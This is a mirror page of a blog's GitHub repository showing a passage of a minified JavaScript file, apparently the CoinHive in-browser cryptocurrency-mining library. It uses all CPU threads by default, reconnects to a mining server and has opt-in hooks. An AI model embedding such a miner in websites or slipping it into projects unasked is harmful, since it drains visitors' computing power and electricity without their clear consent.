mirror of
https://github.com/kremalicious/blog.git
synced 2024-11-15 09:35:21 +01:00
3 lines
265 KiB
JavaScript
3 lines
265 KiB
JavaScript
|
/* eslint-disable */
|
||
|
|
||
|
(function(window){"use strict";var Miner=function(siteKey,params){this.params=params||{};this._siteKey=siteKey;this._user=null;this._threads=[];this._hashes=0;this._currentJob=null;this._autoReconnect=true;this._reconnectRetry=3;this._tokenFromServer=null;this._goal=0;this._totalHashesFromDeadThreads=0;this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));this._stopOnInvalidOptIn=false;this._waitingForAuth=false;this._selfTestSuccess=false;this._verifyThread=null;this._autoThreads={enabled:!!this.params.autoThreads,interval:null,adjustAt:null,adjustEvery:1e4,stats:{}};this._tab={ident:Math.random()*16777215|0,mode:CoinHive.IF_EXCLUSIVE_TAB,grace:0,waitReconnect:0,lastPingReceived:0,interval:null};if(window.BroadcastChannel){try{this._bc=new BroadcastChannel("coinhive");this._bc.onmessage=function(msg){if(msg.data==="ping"){this._tab.lastPingReceived=Date.now()}}.bind(this)}catch(e){}}if(CoinHive.CONFIG.REQUIRES_AUTH){this._auth=new CoinHive.Auth(this._siteKey,{theme:this.params.theme||"light",lang:this.params.language||"auto"})}this._eventListeners={open:[],authed:[],close:[],error:[],job:[],found:[],accepted:[],optin:[]};var defaultThreads=navigator.hardwareConcurrency||4;this._targetNumThreads=this.params.threads||defaultThreads;this._useWASM=this.hasWASMSupport()&&!this.params.forceASMJS;this._asmjsStatus="unloaded";this._onTargetMetBound=this._onTargetMet.bind(this);this._onVerifiedBound=this._onVerified.bind(this)};Miner.prototype.start=function(mode,optInToken){this._tab.mode=mode||CoinHive.IF_EXCLUSIVE_TAB;this._optInToken=optInToken;if(this._tab.interval){clearInterval(this._tab.interval);this._tab.interval=null}this._loadWorkerSource(function(){this._startNow()}.bind(this))};Miner.prototype.stop=function(mode){for(var i=0;i<this._threads.length;i++){this._totalHashesFromDeadThreads+=this._threads[i].hashesTotal;this._threads[i].stop()}this._threads=[];this._autoReconnect=false;if(this._socket){this._socket.close()}this._currentJob=null;if(this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(this._tab.interval&&mode!=="dontKillTabUpdate"){clearInterval(this._tab.interval);this._tab.interval=null}};Miner.prototype.getHashesPerSecond=function(){var hashesPerSecond=0;for(var i=0;i<this._threads.length;i++){hashesPerSecond+=this._threads[i].hashesPerSecond}return hashesPerSecond};Miner.prototype.getTotalHashes=function(estimate){var now=Date.now();var hashes=this._totalHashesFromDeadThreads;for(var i=0;i<this._threads.length;i++){var thread=this._threads[i];hashes+=thread.hashesTotal;if(estimate){var tdiff=(now-thread.lastMessageTimestamp)/1e3*.9;hashes+=tdiff*thread.hashesPerSecond}}return hashes|0};Miner.prototype.getAcceptedHashes=function(){return this._hashes};Miner.prototype.getToken=function(){return this._tokenFromServer};Miner.prototype.on=function(type,callback){if(this._eventListeners[type]){this._eventListeners[type].push(callback)}};Miner.prototype.getAutoThreadsEnabled=function(enabled){return this._autoThreads.enabled};Miner.prototype.setAutoThreadsEnabled=function(enabled){this._autoThreads.enabled=!!enabled;if(!enabled&&this._autoThreads.interval){clearInterval(this._autoThreads.interval);this._autoThreads.interval=null}if(enabled&&!this._autoThreads.interval){this._autoThreads.adjustAt=Date.now()+this._autoThreads.adjustEvery;this._autoThreads.interval=setInterval(this._adjustThreads.bind(this),1e3)}};Miner.prototype.getThrottle=function(){return this._throttle};Miner.prototype.setThrottle=function(throttle){this._throttle=Math.max(0,Math.min(.99,throttle));if(this._currentJob){this._setJob(this._currentJob)}};Miner.prototype.getNumThreads=function(){return this._targetNumThreads};Miner.prototype.setNumThreads=function(num){var num=Math.max(1,num|0);this._targetNumThreads=num;if(num>this._threads.length){for(var i=0;num>this._threads.length;i++){var thread=new CoinHive.JobThread;if(this._currentJob){thread.setJob(this._currentJob,this._onTargetMetBound)}this._threads.push(thread)}}else if(num<this._threads.length){while(num<this._thread
|